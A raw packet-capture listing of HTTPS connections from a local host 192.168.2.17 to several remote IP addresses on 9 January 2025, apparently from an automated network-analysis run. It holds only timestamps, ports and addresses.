Jan 9, 2025 05:14:04.826756954 CET	443	49706	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:04.826870918 CET	443	49706	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:04.828676939 CET	49706	443	192.168.2.17	193.3.19.74
Jan 9, 2025 05:14:04.828752995 CET	49706	443	192.168.2.17	193.3.19.74
Jan 9, 2025 05:14:04.828771114 CET	443	49706	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:04.863639116 CET	49705	443	192.168.2.17	193.3.19.74
Jan 9, 2025 05:14:04.899943113 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.899982929 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:04.900065899 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.900419950 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.900432110 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:04.900780916 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.900810957 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:04.902635098 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.902898073 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:04.902910948 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:04.911329985 CET	443	49705	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:05.083827019 CET	443	49705	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:05.083904982 CET	443	49705	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:05.083955050 CET	49705	443	192.168.2.17	193.3.19.74
Jan 9, 2025 05:14:05.084841967 CET	49705	443	192.168.2.17	193.3.19.74
Jan 9, 2025 05:14:05.084860086 CET	443	49705	193.3.19.74	192.168.2.17
Jan 9, 2025 05:14:05.364475012 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.364917040 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.364948988 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.365935087 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.366007090 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.366991997 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.367055893 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.367482901 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.367492914 CET	443	49708	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.367604971 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.367620945 CET	49708	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.367943048 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.367975950 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.368060112 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.368242979 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.368256092 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.383889914 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.384262085 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.384291887 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.385296106 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.385366917 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385613918 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385668993 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385675907 CET	443	49707	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.385704041 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385730982 CET	49707	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385937929 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.385962009 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.386048079 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.386202097 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.386213064 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.827511072 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.828741074 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.828764915 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.829761028 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.829830885 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.837486982 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.837572098 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.839184046 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.839198112 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.850691080 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.851387024 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.851412058 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.852427006 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.852494001 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.855777979 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.855844021 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.892296076 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.908420086 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.908436060 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946721077 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946810007 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946841955 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946858883 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.946872950 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946903944 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946912050 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.946917057 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.946960926 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.947377920 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.947645903 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.947689056 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.947694063 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.947731972 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.947774887 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.947959900 CET	49709	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.947973967 CET	443	49709	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:05.950117111 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:05.958672047 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:05.958724022 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:05.958816051 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:05.959048033 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:05.959060907 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:05.995335102 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060332060 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060408115 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060439110 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060461044 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.060470104 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060493946 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060513973 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.060529947 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060566902 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.060571909 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060662985 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060692072 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060699940 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.060708046 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060741901 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.060746908 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060767889 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.060805082 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.061089039 CET	49710	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.061105967 CET	443	49710	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.103585005 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.103631020 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.103698969 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.103987932 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.104001999 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.425457001 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.425889969 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.425924063 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.426978111 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.427056074 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.427959919 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.428023100 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.428636074 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.428644896 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.437582016 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:06.437612057 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:06.437686920 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:06.437863111 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:06.437872887 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:06.480283976 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.551723003 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.551803112 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.551862955 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.552016020 CET	49711	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.552037954 CET	443	49711	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.552483082 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.552526951 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.552597046 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.552810907 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:06.552824020 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:06.562118053 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.562329054 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.562355042 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.563416004 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.563481092 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564187050 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564214945 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564240932 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.564321995 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564331055 CET	443	49712	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.564343929 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564372063 CET	49712	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564788103 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.564810038 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:06.564870119 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.565088987 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:06.565099001 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.010637045 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.010910034 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.010938883 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.011354923 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.011646032 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.011713028 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.011768103 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.039467096 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.039745092 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.039756060 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.040075064 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.040431976 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.040493011 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.040664911 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.052346945 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.052356958 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.080987930 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:07.081229925 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:07.081238031 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:07.082262993 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:07.082329035 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:07.083331108 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:07.083342075 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.083420038 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:07.132282019 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:07.132292032 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:07.142175913 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.142358065 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.142422915 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.142455101 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.142472029 CET	443	49714	35.190.80.1	192.168.2.17
Jan 9, 2025 05:14:07.142478943 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.142514944 CET	49714	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:14:07.180278063 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:07.196069956 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196106911 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196131945 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196160078 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196182013 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.196192026 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196232080 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.196237087 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196266890 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196273088 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.196281910 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196321964 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196326971 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.196331978 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.196373940 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.196978092 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.244313955 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.244343042 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286648035 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286684036 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286715031 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286731958 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.286740065 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286786079 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.286792040 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286932945 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286962032 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.286978006 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.286982059 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.287003040 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.287523031 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.287575006 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.287580013 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288135052 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288163900 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288187027 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.288192034 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288250923 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288296938 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.288302898 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.288654089 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.288953066 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289010048 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289040089 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289066076 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289082050 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.289088011 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289104939 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.289875984 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.289935112 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.289941072 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.330357075 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.330384016 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.330420017 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.330427885 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.330473900 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.377121925 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.377182007 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.377211094 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.377280951 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.377290010 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.377450943 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.377510071 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.377515078 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.378004074 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.378036976 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.378065109 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.378071070 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.378098011 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.378117085 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.378230095 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.378278971 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.378942013 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.379004955 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.379106045 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.379152060 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.379822016 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.379880905 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.380034924 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.380106926 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.380798101 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.380830050 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.380858898 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.380863905 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.380892038 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.381685019 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.381712914 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.381743908 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.381747961 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.381778002 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.381815910 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.381877899 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.381884098 CET	443	49715	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.381906986 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.381949902 CET	49715	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.400206089 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.400250912 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.400326014 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.400542021 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.400554895 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.401418924 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.401453018 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.401525021 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.401798010 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.401812077 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.420123100 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.420165062 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.420236111 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.420756102 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.420767069 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.521498919 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.521550894 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.521641016 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.521958113 CET	49719	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.521969080 CET	443	49719	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.868657112 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.868992090 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.869020939 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.870007992 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.870085001 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.871067047 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.871128082 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.871233940 CET	49716	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:07.871241093 CET	443	49716	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:07.876987934 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.877178907 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.877202034 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.878212929 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.878284931 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878523111 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878535032 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878577948 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878590107 CET	443	49717	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.878644943 CET	49717	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878865957 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.878899097 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.879101992 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.879272938 CET	49720	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.879285097 CET	443	49720	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.900774956 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.901021957 CET	49718	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:07.901042938 CET	443	49718	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:07.902061939 CET	443	49718	188.114.97.3	192.168.2.17
